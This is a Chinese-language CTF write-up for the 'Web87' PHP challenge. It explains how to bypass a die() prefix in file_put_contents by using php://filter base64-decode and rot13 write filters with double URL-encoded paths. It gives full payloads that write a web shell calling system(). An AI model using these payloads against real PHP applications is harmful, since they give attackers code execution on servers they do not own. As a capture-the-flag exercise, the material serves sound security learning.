filter 伪协议绕过 die(Web87)

这道题不能再用条件竞争了。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

}else{
highlight_file(__FILE__);
}

简单说说题目:

该题会将 $_GET 数组中的 file 参数 URL 解码,然后以解码后的 file 参数作为文件路径/文件名,生成一个内容由字符串 <?php die('大佬别秀了');?>$_POST 数组中的 content 参数的值拼接而成的文件。

urldecode():URL 解码。

file_put_contents():为文件写入内容,默认覆盖写。

由于会 URL 解码,所以前面的一串过滤都可以简单绕过。但有 die() 函数,会立刻停止脚本,所以要想办法阻碍该函数执行。

解法一:Base64

可以用 php://filter 伪协议,使写入文件时内容经过 Base64 解码,同时在 content 参数中传入 Base64 编码后的 Payload 以达到绕过 die() 函数、执行恶意代码的目的( 原本正常的 die() 函数被解码为乱码):

1
php://filter/write=convert.base64-decode/resource=shell.php

由于有 urldecode() 函数,所以可以对 Payload 进行 URL 转码以绕过过滤:

1
%70%68%70%3A%2F%2F%66%69%6C%74%65%72%2F%77%72%69%74%65%3D%63%6F%6E%76%65%72%74%2E%62%61%73%65%36%34%2D%64%65%63%6F%64%65%2F%72%65%73%6F%75%72%63%65%3D%73%68%65%6C%6C%2E%70%68%70

此处简单粗暴全部转码。另外, file 参数通过 URL 传参到服务器时,会被 URL 解码,为了使 Payload 不要过早暴露被过滤,进行第二次转码(依旧简单粗暴):

1
%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%37%33%25%36%38%25%36%35%25%36%43%25%36%43%25%32%45%25%37%30%25%36%38%25%37%30

另外, content 参数也要转码为 Base64 :

1
2
<?php system('tac fl0g.php') ?> (跳过前面的 ls ,直接演示最后一步了)
PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKSA/Pg==

用 Burp Suite 抓包,将 GET 改为 POST ,修改 URL 参数,然后修改请求体。

由于 Base64 的处理特性(详情请自行查找), content 要加两个字符(这里用 aa )以保证转码后恶意代码正常:

1
content=aaPD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKSA/Pg==

最后发包并访问 /shell.php 即可。

解法二:ROT13

与 Base64 原理相同,也是将编码处理后的 Payload 进行解码再写入文件,同时使 die() 函数无效化。

ROT13 用同一套算法既可以编码又可以解码。以下为 Payload :

1
php://filter/write=string.rot13/resource=shell.php

二次 URL 编码:

1
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30

content 参数:

1
2
<?php system('tac fl0g.php') ?>
<?cuc flfgrz('gnp sy0t.cuc') ?>

抓包与修改同上,但不用加什么字符:

1
content=<?cuc flfgrz('gnp sy0t.cuc') ?>

最后发包并访问 /shell.php 即可。